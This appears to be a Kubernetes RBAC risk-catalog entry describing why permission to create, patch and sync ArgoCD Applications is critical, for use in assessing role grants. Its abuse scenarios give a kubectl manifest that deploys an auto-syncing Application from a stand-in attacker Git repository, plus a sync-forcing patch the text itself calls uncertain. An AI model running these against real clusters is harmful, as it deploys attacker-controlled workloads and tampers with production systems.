Overview

FieldValue
ID1063
NameManage ArgoCD Applications (argoproj.io)
Risk CategoryTampering
Risk LevelCritical
Role TypeRole
API Groupsargoproj.io
Resourcesapplications
Verbscreate, update, patch, delete, sync
TagsCodeExecution PotentialPrivilegeEscalation Tampering WorkloadDeployment

Description

Grants permission to manage ArgoCD Application resources. This allows deploying, modifying, or deleting applications managed by ArgoCD, potentially leading to the deployment of malicious workloads, unauthorized code execution, tampering with production systems, and privilege escalation if ArgoCD has high privileges.

Abuse Scenarios

  1. Create a new ArgoCD Application pointing to a malicious Git repository.
kubectl create -n <namespace> -f - <<EOF
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: malicious-app
spec:
  destination:
    namespace: <target-namespace>
    server: https://kubernetes.default.svc
  project: default
  source:
    repoURL: https://github.com/attacker/malicious-manifests.git
    targetRevision: HEAD
    path: .
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
EOF
# Example: kubectl create -n argocd -f - <<EOF ... EOF
  1. Force synchronization of an ArgoCD Application to deploy changes immediately.
kubectl patch application <application-name> -n <namespace> --type='merge' -p='{"status": {"operationState": {"phase": "Running", "syncResult": {"resources": []}}}}'
# Note: Direct 'sync' verb via kubectl is not standard. This patch might trigger a sync.
# A more direct way is using the ArgoCD CLI: `argocd app sync <application-name> -n <namespace>`
# Example: kubectl patch application my-app -n argocd --type='merge' -p='{"status": {"operationState": {"phase": "Running", "syncResult": {"resources": []}}}}'